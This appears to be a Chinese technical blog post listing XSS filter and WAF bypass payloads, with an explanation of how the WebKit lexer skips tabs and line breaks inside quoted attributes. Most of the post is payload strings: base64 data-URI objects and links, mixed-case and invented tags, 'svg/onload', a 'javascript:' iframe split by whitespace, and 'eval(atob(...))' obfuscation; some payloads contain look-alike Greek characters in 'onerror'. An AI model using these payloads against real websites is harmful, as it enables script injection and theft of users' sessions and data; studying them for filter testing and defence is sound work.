XSS过滤

12 篇文章 0 订阅
6 篇文章 0 订阅

XSS Bypass:

脚本标签:

<object data=”data:text/html,<script>alert(1)</script>>

<object data=”
data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==>

<a href=”
data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==>xss</a>

脚本伪协议:

标签名称:

<iMg οnerrοr=alert(1) src=a>

对标签名陈稍做修改,可以避开仅仅阻止特定标签名陈的过滤:

<x οnclick=alert(1) src=a>xss</x>

站在webkit角度来说XSS:

是因为各个代码的功能是由浏览器来解析的。那浏览器中谁又负责解析呢?那就是webkit, 既然要说到webkit,那就不得不提webkit下的解析器——词法分析器,因为我们在绕过的时候,就是利用解析器中的词法分析器来完成。

就比如一个简单的绕过WAF的XSS代码:

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe> 
<!--Java和script是回车,al和ert是Tab换行符-->

他可以弹窗,可以为什么他可以弹窗呢?这里面有回车、换行符啊。想要理解,我们来看看webkit下的Source/javascriptcore/parser/lexer.cpp是怎么声明的吧。

while (m_current != stringQuoteCharacter) {        
	if (UNLIKELY(m_current =='\\')) {            
		if (stringStart != currentSourcePtr() && shouldBuildStrings)   
			append8(stringStart, currentSourcePtr() - stringStart);    
			
		shift();             
		LChar escape = singleEscape(m_current);             // Most common escape sequences first            
		if (escape) {                
			if (shouldBuildStrings)                    
			record8(escape);                
			shift();            
		} else if (UNLIKELY(isLineTerminator(m_current)))                
		shiftLineTerminator();

注意倒数第二行里的isLineTerminator函数。这里我来说说大致的意思:所有的内容都在一个字符串里,用while逐字解析,遇到换行就跳过。然后在拼成一个没有分割符的字符串,所以这时的XSS代码成功弹窗了。

Webkit里的词法分析器里除了跳过换行符,还会跳过什么字符呢?
子曰:还有回车等分隔符。

根据webkit词法分析器的机制,我们就可以写更多的猥琐xss代码。

下面再说说这个注意事项:

因为在webkit的词法分析器里,跳过回车、换行等分隔符时有个前提,那就是必须用单/双引号围住,不然不会跳过。

因为如果不使用引号,词法分析器会认为 回车、换行就是结束了,如果你运行上面这段代码,webkit会把Java当做地址传给src。词法分析器跳过的前提就是建立在引号里的,切记。

这里在说一个:

回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用 回车、换行,这时你大可放心,决对不会弹窗。而且在属性值里 回车、换行随便用。如果空格出现在xss代码里并不会弹窗,但是如果出现在字符和符号之前,就可以弹了。如图:

在这里插入图片描述

注意事项:

跳过回车和换行,不支持on事件。例如下面的代码

`<a href="javascript:alert(1)">xss</a>`会弹窗,但是下面的代码就不行了

`‍‍‍‍<a href="#" onclick="alert(1)">s</a>`
可见加了Tab换行,就无法弹窗了。但是还是支持字符和符号之间加入空格的。

本节就是告诉大家,想要玩的更好,最好追溯到底层,从底层来看攻击手法,你会发现很多问题迎刃而解。

/  代替空格
<svg/onload=alert(1)>

使用eval执行。   atob进行解码

<img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'>

大小写
<iMg SrC=x OnErRoR=alert(1)>








在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值